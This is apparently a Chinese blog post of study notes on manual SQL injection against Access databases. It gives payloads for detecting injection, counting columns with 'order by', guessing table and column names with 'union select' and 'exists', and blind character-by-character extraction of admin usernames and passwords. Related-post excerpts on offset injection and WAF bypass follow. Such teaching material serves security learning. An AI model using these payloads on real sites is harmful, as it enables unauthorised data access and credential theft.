SQL注入之ACCESS注入筆記

2021-10-07 06:41:04 字數 1875 閱讀 4978

以.mdb字尾命名

乙個檔案就是乙個庫,和mysql不同

開啟方式用office或者第三方工具

表名—欄位名—資料內容

step1:判斷注入是否存在

step2:猜解表名

step3:猜解字段數

step4:猜解欄位名

step5:猜解內容長度

step6:猜解內容

單引號報錯,因為在sql語句中單引號,雙引號,小括號都是成對存在的,若在後面加上這句話後,頁面出錯並且沒有被伺服器過濾則可能有注入點

邏輯型 and 1=1 and 1=2,

比如原本的sql語句select * from user where id=1是乙個true條件,拼接上select * from user where id=1 and 1=1也是true,如果select * from user where id=1 and 1=2這個false的語句成功執行並返回了錯誤的介面,則很有可能是有注入點

變數做運算 – 減號:

select * from user where id=105-1select * from user where id=104返回相同的頁面,則說明可能有注入點

and 1=1 and 1=2 ——判斷注入

order by 22 ——猜有多少列(22正確,23錯誤,則為22個)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜表名並記錄回顯位(報錯說明表名不存在,將admin換成別的繼續猜)

假設回顯位置為3和15

我們把第三位換為猜測的列名:

union select 1,2,id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

發現會有回顯說明則猜測為正確

union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin——猜列名

又假設最後有了admin和password列名

union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

就能得到一條使用者關鍵資訊的記錄

and 1=1 and 1=2 ——判斷注入

and exists (select * from admin) ——猜表名

and exists (select user_name from admin) ——猜列名

查資料:1.確定長度 2.確定asc資料(asc編碼)

and (select top 1 len(user_name ) from admin)=5(user_name 的長度=5,正常則=5,也可以用》,《號去判斷)

and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判斷第一位(97代表『a』的ascll值)

and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判斷第二位

add:top 1子句含義為查詢結果只顯示首條記錄;

以後學習

SQL注入之偏移注入(Access)

什麼是偏移注入?偏移注入是一種注入姿勢,可以根據乙個較多字段的表對乙個少字段的表進行偏移注入,一般是聯合查詢,在頁面有回顯點的情況下 偏移注入使用場景 在 sql注入的時候會遇到一些無法查詢列名的問題,比如系統自帶資料庫的許可權不夠而無法訪問系統自帶庫。當你猜到表名無法猜到欄位名的情況下,我們可以使...

SQL注入之Access注入 (手工)

尋找注入點 首先呢,在 中尋找傳遞引數的頁面,也就是尋找注入點。判斷注入 找到頁面 注入點 之後呢,我們需要判斷當前頁面是否存在注入 傳統的方法是 語句狀態 鏈結後面加 報錯and 1 1 正常and 1 2 報錯or 1 2 正常or 1 1 報錯或者跳轉到另外乙個頁面 我們不使用傳統的方法,因為...

SQL注入實戰 防注入 Access

這道題目算是給了sql注入另外的思路了。一般而言我們測試sql注入會選擇那些有直接顯示的地方 比如id 1,name 但這會侷限你的思維,所以一定要多多培養做題的思路才能應對各種情況。下面會給出不一樣的思路 1.這是墨者學院一道有waf的sql注入,有很多人遇到有waf的環境就感覺頭大,確實繞waf...